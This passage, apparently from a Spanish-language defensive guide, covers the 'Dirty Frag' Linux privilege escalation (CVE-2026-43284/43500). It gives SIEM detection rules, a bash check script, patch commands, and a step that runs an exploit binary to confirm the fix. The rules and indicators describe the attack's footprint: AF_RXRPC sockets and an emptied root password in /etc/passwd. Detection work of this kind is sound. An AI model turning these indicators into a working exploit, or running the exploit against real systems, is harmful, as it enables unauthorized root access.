          {
            "id": "T1068",
            "name": "Exploitation for Privilege Escalation"
          }
        ]
      }
    ],
    "tags": ["CVE-2026-43284", "CVE-2026-43500", "Dirty Frag", "LPE", "Linux"]
  }
}

# Buscar creacion de sockets AF_RXRPC (familia 33 = 0x21)
auditd.data.syscall: "socket" AND auditd.data.a0: "21"

# Buscar modificaciones a /etc/passwd
auditd.data.key: "dirty_frag_passwd_modify"

# Todas las alertas de dirty frag
auditd.data.key: dirty_frag_*

# FIM: /etc/passwd modificado
file.path: "/etc/passwd" AND event.action: "updated"

| Deteccion principal: socket AF_RXRPC (familia 33)
index=linux sourcetype=linux:audit syscall=socket a0=21
| stats count by host, auid, exe, _time
| where auid >= 1000
| sort -_time

| Correlacion: AF_RXRPC + acceso a /etc/passwd
index=linux sourcetype=linux:audit (key="dirty_frag_rxrpc") OR (key="dirty_frag_passwd_read")
| transaction host auid maxspan=30s
| where eventcount >= 2
| table _time, host, auid, exe, key

| Deteccion de /etc/passwd modificado
index=linux sourcetype=linux:audit key="dirty_frag_passwd_modify"
| stats count by host, auid, _time

| Deteccion post-explotacion: root login sin password
index=linux sourcetype=syslog "session opened for user root"
| stats count by host, src, _time

| Alerta: posible explotacion Dirty Frag
index=linux sourcetype=linux:audit key="dirty_frag_rxrpc"
| stats count as attempts by host, auid, exe
| where attempts >= 1
| eval severity="critical"
| eval description="CVE-2026-43284: Posible explotacion Dirty Frag detectada"

Rule Name: CVE-2026-43284 Dirty Frag - AF_RXRPC Socket
Rule Type: Event
Log Source Type: Linux OS
Event Category: Audit
Condition:
  when the event matches ALL of the following:
    - Event Name contains "SYSCALL"
    - AND UTF8(Payload) contains "syscall=41" (socket)
    - AND UTF8(Payload) contains "a0=21" (AF_RXRPC)
    - AND UTF8(Payload) MATCHES "auid=[1-9][0-9]{3,}"
Action: Dispatch New Offense
Severity: 9 (Critical)
MITRE: T1068

Rule Name: CVE-2026-43284 Dirty Frag - Exploitation Chain
Rule Type: Event (Sequence)
Log Source Type: Linux OS
Sequence:
  1. Event contains "a0=21" (AF_RXRPC socket)
  2. FOLLOWED BY Event contains "/etc/passwd" within 30 seconds
  3. FROM same Source IP AND same Username
Action: Dispatch High Offense
Severity: 10 (Maximum)
MITRE: T1068, T1548.001

Rule Name: CVE-2026-43284 Dirty Frag - Passwd Tampered
Rule Type: Event
Condition:
  - Event contains file integrity change for /etc/passwd
  - AND Content matches "root::" (empty password field)
Action: Dispatch Critical Offense
Severity: 10 (Maximum)

#!/bin/bash
# check_dirty_frag.sh - Verificar estado de CVE-2026-43284 + CVE-2026-43500

echo "=== CVE-2026-43284 + CVE-2026-43500 Dirty Frag - Check ==="
echo ""

# 1. Verificar si los modulos estan cargados
VULN=0
for mod in esp4 esp6 rxrpc; do
    if lsmod | grep -q "^$mod"; then
        echo "[VULNERABLE] Modulo $mod cargado"
        VULN=1
    else
        echo "[OK] Modulo $mod NO cargado"
    fi
done

# 2. Verificar version del kernel
KERNEL=$(uname -r)
echo ""
echo "[INFO] Kernel: $KERNEL"

# 3. Verificar si /etc/passwd ha sido modificado (root sin password)
echo ""
echo "Verificando integridad de /etc/passwd..."
ROOT_LINE=$(head -1 /etc/passwd)
if echo "$ROOT_LINE" | grep -q "^root::"; then
    echo "  [CRITICO] /etc/passwd: root tiene password VACIA - SISTEMA COMPROMETIDO"
    echo "  Linea: $ROOT_LINE"
    VULN=2
elif echo "$ROOT_LINE" | grep -q "^root:x:"; then
    echo "  [OK] /etc/passwd: root tiene password hash normal"
else
    echo "  [SOSPECHOSO] /etc/passwd: formato inusual: $ROOT_LINE"
fi

# 4. Buscar el exploit en el sistema
echo ""
echo "Buscando indicadores de compromiso..."
FOUND=0

for dir in /home /tmp /var/tmp /dev/shm; do
    if find "$dir" -name "exp" -o -name "exp.c" -o -name "dirtyfrag" 2>/dev/null | grep -q .; then
        find "$dir" \( -name "exp" -o -name "exp.c" -o -name "dirtyfrag" \) 2>/dev/null | while read f; do
            echo "  [ALERTA] Posible exploit encontrado: $f"
        done
        FOUND=1
    fi
done

# 5. Buscar sockets AF_RXRPC activos
if ss -xa 2>/dev/null | grep -q rxrpc; then
    echo "  [ALERTA] Sockets AF_RXRPC activos detectados"
    FOUND=1
fi

echo ""
if [ $VULN -eq 2 ]; then
    echo "[CRITICO] Sistema comprometido - /etc/passwd modificado"
    echo "          Accion inmediata:"
    echo "            1. sed -i 's/^root::/root:x:/' /etc/passwd"
    echo "            2. echo 3 > /proc/sys/vm/drop_caches"
    echo "            3. Analisis forense completo"
elif [ $VULN -eq 1 ]; then
    echo "[VULNERABLE] Modulos vulnerables cargados - aplicar workaround:"
    echo "  sh -c \"printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches\""
else
    echo "[OK] Sistema no vulnerable a Dirty Frag"
fi

sudo apt update && sudo apt upgrade -y linux-image-generic
sudo reboot

sudo dnf update kernel -y
sudo reboot

sudo dnf update kernel -y
sudo reboot

uname -r
# Debe ser >= 6.8.0-xx con backport del fix

# Verificar que el exploit ya no funciona
su - attacker
cd dirtyfrag && ./exp
# dirtyfrag: failed (rc=4)
# El page cache no se modifica en kernel parcheado